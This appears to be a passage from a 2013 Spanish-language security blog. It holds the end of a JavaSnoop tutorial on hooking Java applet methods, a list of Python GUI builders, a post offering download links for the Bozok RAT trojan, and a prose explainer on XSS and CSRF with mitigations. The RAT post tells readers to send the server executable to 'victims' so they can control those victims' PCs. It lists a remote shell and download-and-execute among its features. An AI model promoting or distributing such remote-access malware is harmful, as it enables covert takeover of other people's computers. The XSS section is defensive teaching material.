5. Para que no tengamos problemas con los permisos, JavaSnoop a la hora de realizar la inyección (hooks) nos ofrece en la carpeta Resources el fichero unsafe.policy. Copiaremos este fichero a %USERPROFILE%\.java.policy. En este directorio deberá encontrarse un fichero .java.policy. Tras nuestro análisis es recomendable restablecer la configuración inicial siempre.

6. Es aconsejable activar el Debug en la consola de Java y que esté siempre activa para ver los mensajes.


7. Es muy importante el orden en el que se arranca JavaSnoop y la aplicación java. Con algunos applets es estrictamente necesario que JavaSnoop esté arrancado antes de lanzar el navegador.

8. Una vez arrancado JavaSnoop utilizaremos la funcionalidad “An exisiting process”. En este caso vemos el PID 184 que es un applet que hemos arrancado en Internet Explorer. Pulsamos en el botón de Attach para adherirnos al proceso 184:


9. Una vez nos hemos adherido al proceso, vamos a configurar un “New hook” para ello pulsaremos (o haremos clic) en el botón “Add new hook”. Si no sabemos aún con que clase y qué método queremos hacerle el hook, nos dirigimos a browse (hacemos clic en Browse) y nos abrirá una nueva ventana en la podremos seleccionar la clase que queramos.


A continuación seleccionamos el método que nos interesa:
Una vez seleccionados, la clase y el método, volveremos la pantalla principal:
En esta pantalla de la aplicación, si hemos seleccionamos el método (punto 1) podremos parametrizar las acciones que va a realizar JavaSnoop. Así pues le podemos decir que en tiempo de ejecución nos imprima los parámetros cuando se vaya a invocar el método, que nos imprima el contenido de la pila, que podamos modificar los parámetros que se le pasan a la función y los valores de retorno. (puntos 2 y 3).

10. También podemos ver características del proceso al que nos hemos adherido (attach) en el menu Actions.


viernes, 18 de octubre de 2013

Programas para crear GUI´S en Python

Programas para crear GUI´S en Python

Boa Constructor es un IDE de Python y un constructor de GUI para wxPython. Esta version necesita tener instalado wxPython 2.5.X. 
   
PythonCard 0.8.2 
PythonCard es una herramienta para la construccion de interfaces graficas en Python que utiliza wxPython. 

VisualWx es una herramienta RAD diseñada para python y otros lenguajes de programación. Antes de instalar VisualWX, se necesita tener instalado tanto Python como wxPython (es compatible con wxPython 2.6.1).

wxGlade 0.6.1
wxGlade es un diseñador de interfaces graficas que permite crear interfaces en wxWidgets/wxPython. Puede generar codigo para Python, C++ y XRC

wxPython es un juego de herramientas GUI para Python, que permiten crear aplicaciones con interfaces graficas. Funciona como un modulo de extension que encapsula la biblioteca grafica wxWidgets.  


TKINTER
TkInter (de TK Interface) es un módulo que nos permite construir interfaces gráficas de usuario multiplataforma en Python utilizando el conocido toolkit Tk. Python incluye este módulo por defecto, lo que hace que sea un tookit muy popular. TkInter, además, es robusto, maduro y muy sencillo de aprender y de utilizar, contando con una amplia documentación.

Cuenta con una API muy clara, limpia y elegante y es, además, muy sencillo de aprender, solo superado en ese aspecto por Tkinter. PyGTK también cuenta con grandes herramientas para construir la interfaz de forma gráfica, como Glade o Gazpacho.

El binding de Qt para Python, es especialmente orientado  para el desarrollo en KDE, dado que Qt es la librería utilizada para crear este entorno.



martes, 15 de octubre de 2013

Bozok Rat


Bozok Rat

Se trata de un troyano de conexion inversa. Esta compuesto de dos partes; un cliente.exe que es mediante el cual creamos el server, y una vez creado, tendremos un server.exe que es el que tencremos que enviar a nuestras victimas para que lo ejecuten, y poder controlar remotamente su pc.

Algunas de sus características:

-Shell Remota
-Buscador de archivos
-Descargar carpeta
-Terminar/Borrar Procesos
-Multi-lenguaje
-Descargar/Ejecutar Archivos
-Administrador De Archivos
-Administrador De Procesos
-Administrador De Registros
-Entre otras.


Descargar Bozok Rat.

Bozok Rat 1.0   
Bozok Rat 1.1   
Bozok Rat 1.1.1
Bozok Rat 1.2  
Bozok Rat 1.2.1   
Bozok Rat 1.3   
Bozok Rat 1.3.1   
Bozok Rat 1.4   
Bozok Rat 1.4.1  
Bozok Rat 1.4.2
Bozok Rat 1.4.3
Bozok Rat 1.5


¿Qué es y Cómo Opera Un Ataque de Cross Site Scripting (XSS)?


¿Qué es y Cómo Opera Un Ataque de Cross Site Scripting (XSS)?

Definición
Tipos de ataques
Consideraciones
PDF XSS
XSRF



Definición

XSS es un ataque de inyección de código malicioso para su posterior ejecución que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador.

Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web, mensajería instantánea o un correo electrónico. 


Generalmente, si el código malicioso se encuentra en forma de hipervínculo es codificado en HEX (basado en el sistema de numeración hexadecimal, base 16) o algún otro, así cuando el usuario lo vea, no le parecerá sospechoso. De esta manera, los datos ingresados por el usuario son enviados a otro sitio, cuya pantalla es muy similar al sitio web original.

De esta manera, es posible secuestrar una sesión, robar cookies y cambiar la configuración de una cuenta de usuario.



Tipos de ataques

Las diversas variantes de esta vulnerabilidad pueden dividirse en dos grandes grupos: el primero se conoce como XSS persistente o directo y el segundo como XSS reflejado o indirecto.

Directo o persistente. Consiste en invadir código HTML mediante la inclusión de etiquetas <script> y <frame> en sitios que lo permiten.

Local. Es una de las variantes del XSS directo, uno de sus objetivos consiste en explotar las vulnerabilidades del mismo código fuente o página web. Esas vulnerabilidades son resultado del uso indebido del DOM (Modelo de Objetos del Documento, es un conjunto estandarizado de objetos para representar páginas web) con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado, afectando el código de la primera página en el sistema local. Cuando el XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si se realizara la carga maliciosa en el cliente desde el servidor. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad.

Indirecto o reflejado. Funciona modificando valores que la aplicación web pasa de una página a otra, sin emplear sesiones. Sucede cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP (pudiendo extenderse al DOM del navegador).




Consideraciones


Como desarrollador

La aplicación web que se desee implementar debe contar con un buen diseño. Posteriormente, se deben realizar diversos tipos de pruebas antes de su liberación, para detectar posibles fallos y  huecos de seguridad, mediante el empleo de alguna herramienta automatizada. También, es conveniente proporcionar mantenimiento a la aplicación y estar actualizado en las versiones de las herramientas que se emplean para su puesta en marcha.

Algunas recomendaciones para mitigar el problema, son:

Emplear librerías verificadas o algún framework que ayude a disminuir el inconveniente. Por ejemplo: la librería anti-XSS de Microsoft, el módulo ESAPI de codificación de OWASP, Apache Wicket, entre otros.

Entender el contexto en el cual los datos serán usados y la codificación de los mismos, este aspecto es importante cuando se envían datos de un componente a otro de la aplicación o cuando se deben enviar a otra aplicación.

Conocer todas las áreas potenciales donde las entradas no verificadas pueden acceder al software: parámetros o argumentos, cookies, información de la red, variables de entorno, resultados de consultas, búsqueda de DNS reversible, peticiones enviadas en las cabeceras, componentes de la URL, correos electrónicos, archivos, nombres de archivo, bases de datos o algún sistema externo que proporcione información a la aplicación.

Las validaciones de datos de entrada, deben realizarse siempre del lado del servidor, no sólo en el lado del cliente. Los atacantes pueden evitar la validación realizada del lado del cliente modificando valores antes de realizar verificaciones o remover por completo esta validación.

En caso de ser posible, emplear mecanismos automatizados para separar cuidadosamente los datos del código fuente: revisión de comillas, codificación y validación automática que muchas veces se escapan al desarrollador.

Por cada página web generada, se recomienda emplear una codificación determinada de caracteres, ya que si no se especifica, el navegador puede dar un trato diferente a ciertas secuencias de caracteres especiales, permitiendo la apertura del cliente a posibles ataques.

Para mitigar el problema de ataque contra el uso de cookies, es conveniente indicar que tiene el formato de HttpOnly. En los navegadores que lo soportan, puede prevenirse que la cookie sea usada por scripts maliciosos desde el lado del cliente.

Se debe emplear una estrategia de validación de las entradas: rechazar aquellas que no cumplan con lo especificado, limpiar las que sean necesarias. Al validar, considérense  las características de cada entrada: longitud, tipo de dato, rango de valores aceptados, entradas perdidas o adicionales, sintaxis, consistencia con otras entradas proporcionadas y seguimiento de las reglas del negocio.

Cuando se construyan páginas web de forma dinámica (generadas de acuerdo a las entradas o solicitudes de los usuarios), es recomendable usar listas blancas estrictas. Todas las entradas deben ser limpiadas y validadas, incluidos cookies, campos ocultos, cabeceras y la propia dirección.

Cuando una cantidad aceptable de objetos, como nombres de archivo o URL es limitada o conocida, es conveniente crear una conjunto de asignaciones de valores de entrada fijo a los nombres de archivo o URL y rechazar todos los demás.

Se recomienda usar un firewall de aplicaciones capaz de detectar ataques cuando el código se genere dinámicamente, como medida de prevención, debe complementarse con otras para proporcionar defensa en profundidad.

Como Administrador de Bases de Datos

Así como el desarrollador debe validar las entradas proporcionadas por parte del usuario, el encargado de diseñar e implementar la base de datos debe considerar la seguridad de la misma, pues en ella se guarda la información proporcionada por los usuarios y es manipulada mediante la aplicación web. Los datos que serán almacenados, también pueden ser validados mediante el uso de constraints  (restricciones aplicables a los objetos de una base de datos: unique, default, not null, check) que restringen la entrada para cada campo.

PDF XSS [obsoleta]

Es una vulnerabilidad ampliamente usada para afectar el Acrobat Reader de Adobe. En este caso, si se abusa de las características para abrir archivos en Acrobat, un sitio bien protegido se vuelve vulnerable a un ataque de tipo XSS si da alojamiento a documentos en formato PDF.

Esto afecta seriamente, a menos que se actualice el Reader o se cambie la forma en que el navegador maneja dichos documentos.

Una manera de combatirlo, si se cuenta con el servidor de aplicaciones web Apache, es llevar a cabo la correcta configuración de ModSecurity, ya que cuenta con directivas de protección para archivos en formato PDF.

XSRF

Un ataque Cross-Site Request Forgery (XSRF o CSRF) explota la confianza que un usuario tiene hacia las entradas proporcionadas por un sitio.

Por ejemplo: un usuario se encuentra autenticado y navegando en un sitio, en ese momento un atacante obtiene el control de su navegador, con él realiza una solicitud a una tarea de una URL válida del sitio, por lo que el atacante tendrá acceso como si fuera el usuario previamente registrado.

Distintivamente, un atacante intercalará código HTML o JavaScript malicioso en un correo o en una tarea específica accesible desde una URL, que se ejecuta ya sea directamente o empleando un error de tipo XSS. También, es posible realizar inyección a través de lenguajes como el BBCode. Este tipo de ataques son difíciles de detectar.

Muchas de las funcionalidades de un sitio web son susceptibles de uso durante un ataque XSRF. Esto incluye información enviada tanto por GET como por POST.

También puede usarse como vector para explotar vulnerabilidades de tipo XSS en una aplicación. Ejemplos de ello son: una vulnerabilidad de tipo XSS en un foro donde un atacante puede obligar al usuario a publicar –sin que éste se dé cuenta- un gusano informático. Un atacante puede también usar XSRF para transmitir un ataque a algún sitio de su elección, así como realizar un DDos.

Sin embargo, las formas más comunes de realizar este tipo de ataque consisten en usar la etiqueta HTML o el objeto JavaScript empleados para imágenes. Distintivamente, el atacante infiltrará un email o sitio web en ellos, así cuando el usuario cargue la página o el correo electrónico, también estará realizando la petición a la URL que haya colocado el atacante.

Un atacante puede instalar su script dentro de un documento de Word, un archivo de flash, un clip de video, redifusión web RSS o Atom, o algún otro tipo de formato que pueda alojar el script.

Si un sitio web permite ejecutar sus funciones empleando una URL estática o peticiones POST, es posible que sea vulnerable, si la función se lleva a cabo mediante la petición GET, el riesgo es mayor. Si se realizan las mismas funciones,  de la misma forma repetidamente, entonces la aplicación puede ser vulnerable.

Un ataque XSRF no puede evitarse mediante la verificación del referer de las cabeceras de la petición realizada, ya que puede “limpiarse” o modificarse mediante algún tipo de filtro. Las cabeceras pueden falsearse usando XMLHTTP, por ejemplo.

Una de las soluciones más conocidas, consiste en adjuntar un token no predecible y cambiante a cada petición. Es importante que el estado de éste vaya asociado con la sesión del usuario, de otra manera un atacante puede adjuntar su propio token válido y emplearlo en su beneficio. Adicionalmente, al ligarlo a la sesión del usuario es importante limitar el periodo durante el cual será válido.



Referencias

http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
http://www.modsecurity.org/projects/modsecurity/apache/feature_universal_pdf_xss.html
http://www.cgisecurity.com/csrf-faq.html
http://www.isecpartners.com/files/XSRF_Paper_0.pdf
http://www.techrepublic.com/blog/security/what-is-cross-site-scripting/426
http://cwe.mitre.org/data/definitions/79.html